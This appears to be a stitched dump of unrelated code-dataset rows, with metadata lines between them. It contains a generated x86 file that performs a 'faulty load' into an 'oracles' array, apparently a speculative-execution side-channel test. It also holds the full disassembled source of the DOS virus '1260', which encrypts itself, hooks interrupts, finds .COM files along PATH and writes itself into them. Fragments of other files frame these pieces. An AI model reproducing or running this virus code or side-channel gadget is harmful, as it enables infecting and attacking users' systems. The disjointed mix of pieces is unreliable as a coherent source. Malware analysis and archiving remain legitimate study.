0x00
db 0x80, 0x55, 0x01, 0x40, 0x2b, 0xce, 0x4e, 0x20,
0x00
db 0x80, 0x5d, 0x07, 0x4c, 0x2a, 0x97, 0x57, 0x20,
0x00
db 0x80, 0x41, 0x05, 0x48, 0x2a, 0xaf, 0xef, 0xa0,
0x00
db 0x80, 0x7f, 0x06, 0x48, 0x2a, 0xbf, 0xff, 0xa0,
0x00
db 0x81, 0xc1, 0xc1, 0x44, 0x2a, 0xbf, 0xff, 0xa0,
0x00
db 0x80, 0xbe, 0x81, 0x77, 0x2a, 0x9f, 0x5f, 0x20,
0x00
db 0x80, 0x5d, 0x01, 0x59, 0xea, 0x8e, 0xee, 0x20,
0x00
db 0x80, 0x2a, 0x01, 0x40, 0x2a, 0x81, 0x70, 0x20,
0x00
db 0x80, 0x14, 0x01, 0x40, 0x55, 0x02, 0xf8, 0x23,
0xe0
db 0x80, 0x08, 0x00, 0xa0, 0xab, 0x03, 0xf8, 0x27,
0xf0
db 0x80, 0x08, 0x00, 0xff, 0xff, 0x03, 0xf8, 0x26,
0x30
db 0x80, 0x08, 0x00, 0x80, 0x00, 0x81, 0xf0, 0x26,
0x30
db 0x80, 0x08, 0x00, 0xbb, 0xee, 0x80, 0xe0, 0x26,
0x00
db 0x80, 0x08, 0x01, 0x7b, 0xef, 0x40, 0x00, 0x26,
0x00
db 0x87, 0xcf, 0xff, 0x6b, 0x2d, 0x7f, 0xff, 0xe6,
0x00
db 0x83, 0x80, 0x02, 0xd6, 0x2d, 0x38, 0x00, 0x06,
0x00
db 0x8d, 0x60, 0x03, 0xa6, 0x26, 0xbc, 0x00, 0x06,
0x00
db 0x97, 0xb0, 0x03, 0xac, 0x16, 0xfc, 0x00, 0x06,
0x00
db 0x9f, 0xf0, 0x01, 0xcc, 0x17, 0xfc, 0x00, 0x06,
0x00
db 0x9f, 0xf0, 0x00, 0x3f, 0xff, 0xf0, 0x00, 0x06,
0x00
db 0x8b, 0xa0, 0x00, 0x07, 0xff, 0x00, 0x00, 0x06,
0x00
db 0x87, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f,
0x80
db 0x87, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f,
0x80
db 0x83, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
| 30.705882 | 53 | 0.614144 |
a0cd84d5665e46b7606b99d369a79fc7c94c8bf1 | 7,816 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_1247.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_1247.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_1247.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x2c20, %r10
nop
nop
nop
nop
add $21616, %rax
movb $0x61, (%r10)
dec %rcx
lea addresses_UC_ht+0x13420, %rsi
lea addresses_normal_ht+0x1ba0, %rdi
add $54172, %r14
mov $88, %rcx
rep movsq
nop
nop
add %r8, %r8
lea addresses_WC_ht+0x5fcc, %r10
clflush (%r10)
and $49283, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
and $0xffffffffffffffc0, %r10
vmovntdq %ymm6, (%r10)
inc %rax
lea addresses_A_ht+0x19140, %r10
sub $48090, %rsi
mov $0x6162636465666768, %r14
movq %r14, %xmm5
vmovups %ymm5, (%r10)
nop
nop
nop
xor $50791, %r10
lea addresses_UC_ht+0x1c820, %rsi
lea addresses_WC_ht+0xcd80, %rdi
clflush (%rdi)
sub %r9, %r9
mov $51, %rcx
rep movsq
nop
inc %r14
lea addresses_WT_ht+0xe984, %r9
nop
nop
xor %r10, %r10
movw $0x6162, (%r9)
nop
nop
nop
nop
nop
inc %r8
lea addresses_UC_ht+0x8850, %r8
nop
cmp $41260, %r10
mov $0x6162636465666768, %rax
movq %rax, (%r8)
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_normal_ht+0x3a0, %r9
nop
nop
sub %rsi, %rsi
mov (%r9), %r10d
nop
sub %rax, %rax
lea addresses_normal_ht+0x15880, %rcx
nop
lfence
mov $0x6162636465666768, %r9
movq %r9, %xmm5
vmovups %ymm5, (%rcx)
nop
nop
nop
nop
nop
xor $269, %r8
lea addresses_D_ht+0x1e780, %rsi
lea addresses_WT_ht+0x2020, %rdi
nop
lfence
mov $94, %rcx
rep movsl
and $26110, %rcx
lea addresses_WT_ht+0x16bae, %rsi
lea addresses_WC_ht+0x3c20, %rdi
and %r9, %r9
mov $28, %rcx
rep movsb
nop
nop
nop
nop
nop
xor $4828, %rcx
lea addresses_A_ht+0x101a0, %rcx
nop
nop
dec %r14
mov $0x6162636465666768, %r8
movq %r8, (%rcx)
nop
nop
cmp %rax, %rax
lea addresses_D_ht+0x5c20, %r14
nop
nop
and %r9, %r9
and $0xffffffffffffffc0, %r14
vmovaps (%r14), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %r8
nop
nop
add %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r14
push %r9
push %rdi
push %rsi
// Store
lea addresses_A+0x15320, %r11
nop
nop
nop
nop
and %r14, %r14
mov $0x5152535455565758, %rsi
movq %rsi, (%r11)
nop
nop
nop
nop
nop
add $49044, %r10
// Store
lea addresses_UC+0x83b0, %rsi
nop
nop
inc %rdi
movw $0x5152, (%rsi)
nop
nop
nop
nop
nop
xor $4400, %r12
// Faulty Load
mov $0x14748d0000000c20, %r11
nop
nop
nop
inc %rdi
mov (%r11), %esi
lea oracles, %r14
and $0xff, %rsi
shlq $12, %rsi
mov (%r14,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %r9
pop %r14
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': True, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 34.892857 | 2,999 | 0.658137 |
4da47d3da35655bbf94521988443608c4c4f9970 | 10,344 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.v2p11260.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.v2p11260.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.v2p11260.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z |
DATA_1E EQU 4
DATA_2E EQU 6
DATA_3E EQU 0CH
DATA_4E EQU 0EH
DATA_5E EQU 2CH
DATA_6E EQU 2CH
DATA_7E EQU 0F7H
DATA_8E EQU 0FBH
DATA_11E EQU 901H
DATA_12E EQU 1002H
DATA_13E EQU 1802H
DATA_14E EQU 1F01H
DATA_15E EQU 3918H
DATA_16E EQU 57C6H
DATA_17E EQU 0F046H
DATA_18E EQU 0FFDCH
DATA_19E EQU 0FFDEH
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG, DS:CODE_SEG
ORG 100h
1260 PROC FAR
START:
JMP DECRYPT_ROUTINE
DECRYPT_ROUTINE:
NOP
MOV DI,12AH
MOV AX,9ECDH
DEC BX
CLC
CLD
MOV CX,4DDH
LOCLOOP_3:
SUB BX,AX
XOR BX,CX
NOP
XOR [DI],AX
XOR [DI],CX
INC DI
INC AX
NOP
LOOP LOCLOOP_3 ; Loop if cx > 0
CLC ; Clear carry flag
DEC BX
INC AX
DEC BX
INC BX
DEC BX
CLC ; Clear carry flag
INC DI
INC DX
CLC ; Clear carry flag
INC DX
NOP
MOV BP,SP
SUB SP,24H
PUSH CX
MOV DX,4E0H
MOV [BP-14H],DX
PUSH DS
MOV AX,0
PUSH AX
POP DS
CLI ; Disable interrupts
MOV AX,DS:DATA_1E
MOV SS:DATA_18E[BP],AX
MOV AX,DS:DATA_2E
MOV SS:DATA_19E[BP],AX
MOV AX,DS:DATA_3E
MOV [BP-20H],AX
MOV AX,DS:DATA_4E
MOV [BP-1EH],AX
STI ; Enable interrupts
POP DS
CALL SUB_4
MOV SI,DX
ADD SI,90H
MOV DI,100H
MOV CX,3
CLD ; Clear direction
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV SI,DX
MOV AH,30H ; '0'
INT 21H ; DOS Services ah=function 30h
; get DOS version number ax
CMP AL,0
INT 3 ; Debug breakpoint
DAA ; Decimal adjust
PUSH DX
ADD BP,CX
ADD BYTE PTR [BP+SI],6
MOV AH,2FH ; '/'
INT 21H ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
INT 3 ; Debug breakpoint
OR AL,85H
POP SI
CLD ; Clear direction
INT 3 ; Debug breakpoint
SCASW ; Scan es:[di] for ax
AND AX,[BP-2]
POP ES
MOV DX,SI
ADD DX,0E1H
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
PUSH ES
PUSH SI
MOV ES,DS:DATA_6E
MOV DI,0
LOC_4:
POP SI
PUSH SI
ADD SI,9CH
LODSB ; String [si] to al
MOV CX,8000H
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
MOV CX,4
LOCLOOP_5:
LODSB ; String [si] to al
SCASB ; Scan es:[di] for al
JNZ LOC_4 ; Jump if not zero
LOOP LOCLOOP_5 ; Loop if cx > 0
POP SI
POP ES
MOV [BP-0CH],DI
MOV BX,SI
ADD SI,0A1H
MOV DI,SI
JMP SHORT LOC_11
DB 90H, 0CCH
LOC_6:
CMP WORD PTR [BP-0CH],0
JNE LOC_7 ; Jump if not equal
JMP LOC_22
DB 0CCH
LOC_7:
PUSH DS
PUSH SI
MOV DS,ES:DATA_5E
MOV DI,SI
MOV SI,ES:[BP-0CH]
ADD DI,0A1H
LOC_8:
LODSB ; String [si] to al
CMP AL,3BH ; ';'
JE LOC_10 ; Jump if equal
CMP AL,0
JE LOC_9 ; Jump if equal
STOSB ; Store al to es:[di]
JMP SHORT LOC_8
DB 0CCH
LOC_9:
MOV SI,0
LOC_10:
POP BX
POP DS
MOV [BP-0CH],SI
CMP CH,0FFH
JE LOC_11 ; Jump if equal
MOV AL,5CH ; '\'
STOSB ; Store al to es:[di]
LOC_11:
MOV [BP-0EH],DI
MOV SI,BX
ADD SI,96H
MOV CX,6
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV SI,BX
MOV AH,4EH ; 'N'
MOV DX,SI
ADD DX,0A1H
MOV CX,3
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JMP SHORT LOC_13
DB 90H, 0CCH
LOC_12:
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
LOC_13:
JNC LOC_14 ; Jump if carry=0
JMP SHORT LOC_6
DB 0CCH
LOC_14:
MOV AX,DS:DATA_7E[SI]
AND AL,1FH
CMP AL,1FH
JE LOC_12 ; Jump if equal
CMP WORD PTR DS:DATA_8E[SI],0F800H
JE LOC_12 ; Jump if equal
CMP WORD PTR DS:DATA_8E[SI],0AH
JE LOC_12 ; Jump if equal
MOV DI,[BP-0EH]
PUSH SI
ADD SI,0FFH
LOC_15:
LODSB ; String [si] to al
STOSB ; Store al to es:[di]
CMP AL,0
JNE LOC_15 ; Jump if not equal
POP SI
MOV AX,4300H
MOV DX,SI
ADD DX,0A1H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
MOV [BP-0AH],CX
MOV AX,4301H
AND CX,0FFFEH
MOV DX,SI
ADD DX,0A1H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
MOV AX,3D02H
MOV DX,SI
ADD DX,0A1H
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
JNC LOC_16 ; Jump if carry=0
JMP LOC_21
DB 0CCH
LOC_16:
MOV BX,AX
MOV AX,5700H
INT 21H ; DOS Services ah=function 57h
; get/set file date & time
MOV [BP-8],CX
MOV [BP-6],DX
MOV AH,3FH ; '?'
MOV CX,3
MOV DX,SI
ADD DX,90H
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
INT 3 ; Debug breakpoint
POP BX
SUB [BP+SI],BX
INT 3 ; Debug breakpoint
CMC ; Complement carry
DB 0C8H, 3, 0, 0CCH, 42H, 37H
DB 11H, 0CCH, 78H, 0C0H, 2, 42H
DB 0CCH, 31H, 88H, 0, 0, 0BAH
DB 0, 0, 0CDH, 21H, 73H, 3
DB 0E9H, 15H, 1, 0CCH, 8AH, 0D9H
DB 0CCH, 0DFH, 54H, 0C8H, 51H, 0CCH
DB 85H, 0A8H, 3, 0, 0CCH, 0E0H
DB 69H, 84H, 94H, 0, 81H, 0C1H
DB 0DDH, 4, 0CCH, 64H, 0EFH, 0FEH
DB 0CCH, 74H, 0F5H, 0EFH, 0AFH, 3
DB 0CCH, 92H, 1BH, 0DH, 0B4H, 2CH
DB 0CDH, 21H, 33H, 0D1H, 0CCH, 0FEH
DB 77H, 56H, 0F0H, 0CCH, 0C1H, 29H
DB 24H, 1, 0CCH, 0C8H, 43H, 46H
DB 0F0H, 0CCH, 0E7H, 0C2H, 0FFH, 0
DB 0CCH, 24H, 21H, 0C5H, 4, 0CCH
DB 0CCH, 45H, 46H, 0E8H, 0CCH, 87H
DB 0EH, 84H, 7, 0, 59H, 0CCH
DB 0, 81H, 0C1H, 27H, 1, 89H
DB 8CH
LOC_17:
ADD [BX+SI],AX
INT 3 ; Debug breakpoint
NOP
JS LOC_17 ; Jump if sign=1
ADD SS:DATA_17E[BP+DI],CL
INT 3 ; Debug breakpoint
DB 3EH ; DS:
MOV BH,46H ; 'F'
JMP FAR PTR LOC_1
DB 0CCH, 0E9H, 62H, 0FEH, 0CCH, 3
LOC_18:
SUB BH,0DDH
ADD CX,SP
RCR BYTE PTR SS:DATA_19E[BP+DI],1 ; Rotate thru carry
ADD BX,27H
MOV WORD PTR [BP-1AH],7
CALL SUB_3
MOV [BP-12H],DI
ADD BX,10H
INT 3 ; Debug breakpoint
DB 26H ; ES:
LOOPZ LOCLOOP_20 ; Loop if zf=1, cx>0
OUT 83H,AL ; port 83H, DMA page reg ch 1
ADD AH,CL
DEC SP
MOVSB ; Mov [si] to es:[di]
ADD [BX+DI],AX
ADD BX,10H
INT 3 ; Debug breakpoint
MOV BH,5FH ; '_'
CLC ; Clear carry flag
ADD [BX+DI+2],BH
MOV SI,[BP-14H]
INT 3 ; Debug breakpoint
CLI ; Disable interrupts
JNP LOC_18 ; Jump if not parity
AND AX,0F300H
MOVSB ; Mov [si] to es:[di]
MOV AX,[BP-12H]
SUB AX,DI
DEC DI
STOSB ; Store al to es:[di]
LOC_19:
MOV CX,[BP-14H]
SUB CX,3B6H
CMP CX,DI
JE LOC_27 ; Jump if equal
MOV DX,0
CALL SUB_2
JMP SHORT LOC_19
DB 0CCH, 8BH, 76H, 0ECH, 56H, 8BH
DB 0FEH, 0CCH, 0A1H, 18H, 39H, 0
DB 81H
LOCLOOP_20:
DB 0C6H, 57H, 0, 0CCH, 3CH, 0BDH
DB 0C7H, 0EH, 2, 8BH, 0D7H, 0F3H
DB 0A4H, 5EH, 5BH, 0E8H, 92H, 0
DB 5, 6, 0, 50H, 0FFH, 0E2H
DB 0CCH, 0E9H, 9BH, 23H, 3DH, 0ECH
DB 4, 0CCH, 63H, 16H, 1CH, 0B8H
DB 0, 42H, 0B9H, 0, 0, 0BAH
DB 0, 0, 0CDH, 21H, 72H, 0FH
DB 0B4H, 40H, 0B9H, 3, 0, 0CCH
DB 0D4H, 5FH, 0D6H, 81H, 0C2H, 93H
DB 0, 0CDH, 21H, 8BH, 56H, 0FAH
DB 8BH, 4EH, 0F8H, 81H, 0E1H, 0E0H
DB 0FFH, 81H, 0C9H, 1FH, 0, 0B8H
DB 1, 57H, 0CDH, 21H, 0B4H, 3EH
DB 0CDH
DB 21H
LOC_21:
MOV AX,4301H
MOV CX,[BP-0AH]
MOV DX,SI
ADD DX,0A1H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
LOC_22:
PUSH DS
MOV DX,[BP-4]
MOV DS,[BP-2]
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
POP DS
POP CX
XOR AX,AX ; Zero register
XOR BX,BX ; Zero register
XOR DX,DX ; Zero register
XOR SI,SI ; Zero register
MOV SP,BP
MOV DI,100H
PUSH DI
CALL SUB_5
RET
1260 ENDP
SUB_1 PROC NEAR
MOV CX,[BP-10H]
XOR CX,813CH
ADD CX,9248H
ROR CX,1 ; Rotate
ROR CX,1 ; Rotate
ROR CX,1 ; Rotate
MOV [BP-10H],CX
AND CX,7
PUSH CX
INC CX
XOR AX,AX ; Zero register
STC ; Set carry flag
RCL AX,CL ; Rotate thru carry
POP CX
RET
SUB_1 ENDP
DB 58H, 50H, 0C3H
SUB_2 PROC NEAR
LOC_23:
CALL SUB_1
TEST DX,AX
JNZ LOC_23 ; Jump if not zero
OR DX,AX
MOV AX,CX
SHL AX,1 ; Shift w/zeros fill
PUSH AX
XLAT ; al=[al+[bx]] table
MOV CX,AX
POP AX
INC AX
XLAT ; al=[al+[bx]] table
ADD AX,[BP-14H]
MOV SI,AX
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
RET
SUB_2 ENDP
SUB_3 PROC NEAR
MOV DX,0
LOC_24:
CALL SUB_2
MOV AX,DX
AND AX,[BP-1AH]
CMP AX,[BP-1AH]
JNE LOC_24 ; Jump if not equal
RET
SUB_3 ENDP
DB 53H, 8BH, 0DCH, 50H, 56H, 8BH
DB 77H, 2, 0FFH, 47H, 2, 89H
DB 76H, 0E4H, 0ACH, 30H, 4, 8AH
DB 47H, 7, 0CH, 1, 88H, 47H
DB 7, 5EH, 58H, 5BH, 0CFH, 53H
DB 8BH, 0DCH, 50H, 56H, 8BH, 76H
DB 0E4H, 0ACH, 30H, 4, 8AH, 47H
DB 7, 24H, 0FEH, 88H, 47H, 7
DB 5EH, 58H, 5BH, 0CFH
SUB_4 PROC NEAR
PUSHF ; Push flags
PUSH DS
PUSH AX
MOV AX,0
PUSH AX
POP DS
MOV AX,[BP-14H]
SUB AX,82H
CLI ; Disable interrupts
MOV DS:DATA_3E,AX
MOV AX,[BP-14H]
SUB AX,65H
MOV DS:DATA_1E,AX
PUSH CS
POP AX
MOV DS:DATA_2E,AX
MOV DS:DATA_4E,AX
STI ; Enable interrupts
POP AX
POP DS
POPF ; Pop flags
RET
SUB_4 ENDP
SUB_5 PROC NEAR
PUSHF ; Push flags
PUSH DS
PUSH AX
MOV AX,0
PUSH AX
POP DS
MOV AX,[BP-20H]
CLI ; Disable interrupts
MOV DS:DATA_3E,AX
MOV AX,SS:DATA_18E[BP]
MOV DS:DATA_1E,AX
MOV AX,SS:DATA_19E[BP]
MOV DS:DATA_2E,AX
MOV AX,[BP-1EH]
MOV DS:DATA_4E,AX
STI ; Enable interrupts
POP AX
POP DS
POPF ; Pop flags
RET
SUB_5 ENDP
DB 0BFH, 2AH, 1, 0B8H, 0CDH, 9EH
DB 0B9H, 0DDH, 4, 0F8H, 0FCH, 46H
DB 4BH, 90H
LOCLOOP_25:
XOR [DI],AX
XOR [DI],CX
XOR DX,CX
XOR BX,CX
SUB BX,AX
SUB BX,CX
SUB BX,DX
NOP
INC AX
INC DI
INC BX
INC SI
INC DX
CLC ; Clear carry flag
DEC BX
NOP
LOOP LOCLOOP_25 ; Loop if cx > 0
ADD AX,[BX+SI]
ADD AX,[BP+DI]
ADD AX,DS:DATA_11E
ADD [BP+SI],CX
ADD [BP+DI],CX
ADD [SI],CX
ADD [DI],CX
ADD CL,DS:DATA_12E
ADD DL,[BP+SI]
ADD DL,[SI]
ADD DL,DS:DATA_13E
ADD BL,[BP+SI]
ADD [SI],BX
ADD [DI],BX
ADD DS:DATA_14E,BX
ADD [BX+SI],SP
ADD [BX+DI],SP
ADD [BP+SI],SP
ADD [BP+DI],SP
ADD [SI],SP
MOV CX,[BP-18H]
MOV AX,[BP-16H]
MOV DI,SI
SUB DI,3B6H
CALL SUB_6
MOV AH,40H ; '@'
MOV CX,4ECH
MOV DX,SI
SUB DX,3DDH
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
PUSHF ; Push flags
PUSH AX
MOV CX,[BP-18H]
MOV AX,[BP-16H]
MOV DI,SI
SUB DI,3B6H
CALL SUB_6
POP AX
POPF ; Pop flags
RET
SUB_6 PROC NEAR
LOCLOOP_26:
XOR [DI],AX
XOR [DI],CX
INC AX
INC DI
LOOP LOCLOOP_26 ; Loop if cx > 0
RET
SUB_6 ENDP
DB 90H, 0CDH, 20H, 0E9H, 0, 0
DB 2AH, 2EH, 43H, 4FH, 4DH, 0
DB 'PATH=1260.COM'
DB 0, 0, 4DH
DB 53 DUP (0)
DB 3, 3FH
DB 7 DUP (3FH)
DB 43H, 4FH, 4DH, 3, 3, 0
DB 6FH, 0, 0, 0, 0, 0
DB 20H, 80H, 3, 21H, 0, 3
DB 0, 0, 0
DB '1260.COM'
DB 0, 0, 4DH, 0, 0, 0
DB 0, 0
CODE_SEG ENDS
END START
| 17.355705 | 54 | 0.632637 |
e6eda4f6dd34a96bf8b9f8f5d963cf72bcc1c4b1 | 3,886 | asm | Assembly | dynamorio/core/drlibc/drlibc_arm.asm | andre-motta/Project3Compilers | fa366d93ec8d49768fbc86f0c1431391822baf12 | [
"MIT"
] | 107 | 2021-08-28T20:08:42.000Z | 2022-03-22T08:02:16.000Z | dynamorio/core/drlibc/drlibc_arm.asm | andre-motta/Project3Compilers | fa366d93ec8d49768fbc86f0c1431391822baf12 | [
"MIT"
] | 1 | 2021-06-01T12:10:25.000Z | 2021-06-01T12:10:25.000Z | dynamorio/core/drlibc/drlibc_arm.asm | andre-motta/Project3Compilers | fa366d93ec8d49768fbc86f0c1431391822baf12 | [
"MIT"
] | 16 | 2021-08-30T06:57:36.000Z | 2022-03-22T08:05:52.000Z | /* **********************************************************
